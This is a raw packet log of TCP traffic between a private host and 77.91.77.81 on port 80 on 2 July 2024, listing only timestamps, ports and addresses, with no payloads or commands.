Jul 2, 2024 15:26:27.821634054 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.857023954 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.857047081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.857059002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.857131958 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.857166052 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.857278109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.857289076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.857304096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.857316017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.857330084 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.857333899 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.857366085 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.857378960 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.857626915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.857654095 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.857671022 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.857681036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.857697010 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.857697964 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.857714891 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.857739925 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.857964039 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.857975006 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.858021975 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.867805958 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.867881060 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.867904902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.867969036 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.867994070 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.868005037 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.868021965 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.868033886 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.868072033 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.868089914 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.868261099 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.868310928 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.868388891 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.868400097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.868416071 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.868434906 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.868443966 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.868446112 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.868462086 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.868470907 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.868488073 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.868516922 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.868787050 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.868797064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.868835926 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.903909922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.903960943 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.903964996 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.903970003 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.904006958 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.904023886 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.904083967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.904100895 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.904120922 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.904158115 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.904230118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.904273987 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.904292107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.904304981 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.904314041 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.904319048 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.904352903 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.904428005 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.904593945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.904653072 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.904666901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.904678106 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.904689074 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.904699087 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.904711962 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.904736042 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.904979944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.904990911 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.905005932 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.905028105 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.905057907 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.905215025 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.905225992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.905242920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.905268908 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.905297995 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.905466080 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.905476093 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.905493975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.905507088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.905519009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.905529022 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.905534029 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.905550957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.905560017 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.905579090 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.905606985 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.906092882 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.906105042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.906124115 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.906136036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.906146049 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.906152010 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.906162024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.906176090 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.906184912 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.906189919 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.906200886 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.906205893 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.906215906 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.906230927 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.906233072 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.906241894 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.906250000 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.906271935 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.906296968 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.906975031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.906990051 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.907001972 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.907017946 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.907026052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.907038927 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.907041073 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.907052040 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.907063007 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.907067060 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.907085896 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.907088041 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.907088041 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.907095909 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.907102108 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.907111883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.907120943 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.907133102 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.907157898 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.907181025 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.907805920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.907814980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.907833099 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.907843113 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.907852888 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.907861948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.907871008 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.907881021 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.907888889 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.907898903 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.907898903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.907917976 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.907918930 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.907931089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.907947063 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.907951117 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.907960892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.907974005 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.907987118 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.908006907 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.908781052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.908792019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.908807039 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.908816099 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.908830881 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.908829927 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.908848047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.908857107 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.908862114 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.908870935 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.908875942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.908889055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.908898115 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.908900976 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.908915997 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.908926010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.908926010 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.908941984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.908950090 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.908972979 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.908997059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.909729004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.909739017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.909753084 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.909770966 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.909780025 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.909789085 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.909796953 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.909807920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.909811974 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.909826040 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.909837961 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.909840107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.909854889 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.909861088 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.909878969 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.909900904 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.945939064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.946012020 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.946090937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.946101904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.946135998 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.946156025 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.946166992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.946182966 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.946208000 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.946221113 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.946404934 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.946414948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.946432114 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.946444035 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.946454048 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.946459055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.946475983 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.946501017 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.946753025 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.946763992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.946779966 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.946788073 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.946799040 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.946816921 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.946835995 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.956782103 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.956845045 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.956859112 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.956870079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.956896067 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.956911087 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.957040071 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.957051039 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.957067966 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.957079887 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.957087040 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.957097054 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.957113981 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.957139015 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.957279921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.957326889 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.957391024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.957403898 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.957433939 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.957446098 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.957557917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.957570076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.957587004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.957601070 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.957607985 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.957627058 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.957653999 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.992957115 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.993021011 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.993025064 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.993045092 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.993073940 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.993128061 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.993139029 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.993169069 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.993288040 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.993300915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.993326902 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.993346930 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.993501902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.993520021 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.993531942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.993541002 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.993544102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.993555069 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.993561029 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.993571043 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.993575096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.993587017 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.993602037 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.993614912 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.993855000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.993874073 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.993892908 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.993912935 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.993987083 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.994024992 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.994065046 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.994075060 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.994101048 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.994266987 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.994277000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.994292974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.994303942 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.994306087 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.994333029 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.994353056 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.994648933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.994658947 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.994674921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.994688034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.994689941 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.994703054 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.994704008 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.994714975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.994728088 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.994730949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.994745016 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.994750977 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.994759083 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.994774103 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.994786978 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.995224953 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.995266914 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.995378017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.995388985 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.995405912 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.995415926 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.995418072 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.995434999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.995439053 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.995452881 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.995460033 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.995465040 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.995475054 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.995480061 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.995488882 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.995491982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.995505095 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.995511055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.995518923 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.995522022 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.995538950 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.995546103 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.995570898 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.996401072 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.996411085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.996428967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.996438026 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.996439934 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.996454000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.996464014 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.996464014 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.996484995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.996489048 CEST	49744	80	192.168.2.4	77.91.77.81
